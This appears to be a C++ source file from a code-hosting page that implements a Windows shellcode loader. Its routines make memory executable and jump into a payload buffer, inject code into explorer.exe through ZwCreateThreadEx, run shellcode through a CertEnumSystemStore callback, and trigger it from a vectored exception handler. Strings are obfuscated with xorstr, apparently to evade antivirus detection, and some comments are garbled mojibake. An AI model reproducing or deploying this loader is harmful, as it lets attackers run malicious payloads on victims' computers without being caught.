代码拉取完成,页面将自动刷新
#include "Loader.h"
#include "CodeInject.h"
#include "Utils.h"
#include "xorstr.hpp"
#pragma comment(lib,"Crypt32.lib")
/////////////////ֱӼ///////////////////
void Loader::RunShellCode_1(unsigned char *buffer)
{
DWORD OldProtect = 0;
PVOID pBuffer = NULL;
pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (pBuffer == NULL)
{
return;
}
if (!VirtualProtect(pBuffer, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect))
{
printf("%d\n", GetLastError());
}
memcpy(pBuffer, buffer, 0x1000);
((void(*)(void))pBuffer)();
}
void Loader::RunShellCode_2(unsigned char* buffer)
{
DWORD OldProtect = 0;
VirtualProtect(buffer, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);
((void(*)(void))buffer)();
}
////////////////////////////עʽ///////////////////////////////
void Loader::InjectShellCode_1(unsigned char* buffer)
{
CodeBuffer Buffer = { 0 };
Buffer.BufferSize = 0x1000;
Buffer.pBuffer = (PBYTE)0x1000;
//ChangePageProtect(Buffer);
DWORD dwPid = 0;
while (!dwPid)
{
dwPid = GetProcessIdByProcessName(xorstr_("explorer.exe"));
//dwPid = GetProcessIdByProcessName(L"LogonUI.exe");
Sleep(10);
}
CodeInject::ZwCreateThreadExCodeInject(dwPid, Buffer);
}
void Loader::CertEnumSystemStoreCallbackRunShellcode(unsigned char* buffer)
{
DWORD OldProtect = 0;
VirtualProtect(buffer, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtect);
CertEnumSystemStore(0x10000u, 0, (void*)xorstr_("abcdefg"), (PFN_CERT_ENUM_SYSTEM_STORE)buffer);
}
// ////////////////////VEH////////////////////////////////
unsigned char* ptrshellcode = 0;
LONG NTAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
#ifdef _WIN64
ExceptionInfo->ContextRecord->Rip += 1;
#else
ExceptionInfo->ContextRecord->Eip += 1;
#endif
Loader::RunShellCode_2(ptrshellcode);
//Loader::InjectShellCode_1();
//Loader::CertEnumSystemStoreCallbackRunShellcode(ptrshellcode);
return EXCEPTION_CONTINUE_SEARCH;
}
void Loader::VehRunShellcode(unsigned char* buffer)
{
ptrshellcode = buffer;
AddVectoredExceptionHandler(1, ExceptionHandler);
__debugbreak();
}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。